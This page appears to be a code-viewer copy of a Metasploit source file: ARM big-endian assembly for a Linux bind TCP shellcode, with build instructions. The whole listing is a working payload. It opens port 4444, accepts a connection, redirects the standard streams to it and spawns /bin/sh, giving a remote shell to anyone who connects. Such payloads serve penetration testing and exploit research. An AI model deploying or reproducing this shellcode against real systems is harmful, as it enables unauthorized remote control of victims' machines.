Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/linux/armbe/single_sock_bind.s
Views: 11784
@@1@2@ Name: single_sock_bind3@ Qualities: -4@ Authors: Balazs Bucsay <@xoreipeip>5@ License: MSF_LICENSE6@ Description:7@8@ Implementation of a Linux bind TCP shellcode for ARM BE architecture.9@10@ Assemble with:11@ armeb-buildroot-linux-uclibcgnueabi-as -mthumb single_sock_bind.s -o shellcode.o12@ Link with:13@ armeb-buildroot-linux-uclibcgnueabi-ld shellcode.o -o shellcode14@15@ Meta-Information:16@17@ meta-shortname=Linux Bind TCP18@ meta-description=Listen on a port for a connection and run a second stage19@ meta-authors=earthquake20@ meta-os=linux21@ meta-arch=armbe22@ meta-category=singles23@ meta-connection-type=bind24@ meta-name=bind_tcp25@@262728.section .text29.global _start3031_start:32.code 323334@ Thumb-Mode on35add r6, pc, #136bx r637.code 163839@ _socket(2,1,0)40sub r2, r2, r241add r1, r2, #142add r0, r2, #243lsl r7, r1, #844add r7, r7, #0x1945svc 146mov r6, r04748@ 1 uint8_t sin_len49@ 1 sa_family_t sin_family50@ 2 in_port_t sin_port51@ 4 struct in_addr sin_addr52@ 8 char sin_zero [8]53@ 00 02 5C11 00000000 00000000 0000000054@ 5c11 => 444455@ _bind()56mov r2, #257lsl r2, r2, #858add r2, r2, #0x1159lsl r2, r2, #860add r2, r2, #0x5C61sub r3, r3, r362sub r4, r4, r463sub r5, r5, r564mov r1, sp65stm r1!, {r2-r5}66sub r1, #0x1067mov r2, #1668add r7, r7, #169svc 17071@ _listen()72mov r0, r673sub r1, r1, r174add r7, r7, #275svc 17677@ _accept()78mov r0, r679sub r2, r2, r280add r7, r7, #181svc 182mov r6, r08384@ _dup2()85sub r1, r1, r186mov r7, #6387svc 18889mov r0, r690add r1, r1, #191svc 19293mov r0, r694add r1, r1, #195svc 19697_execve()98sub r2, r2, r299mov r0, pc100add r0, #18101@ next intstruction terminates the string beneath the code "//bin/sh"102@ in case you want to say goodbye to the null character103@ str r2, [r0, #8]104str r2, [sp, #8]105str r0, [sp, #4]106add r1, sp, #4107mov r7, #11108svc 1109110@ _exit()111sub r4, r4, r4112mov r0, r4113mov r7, #1114svc 1115.ascii "//bin/sh\0"116@.ascii "//bin/sh"117118119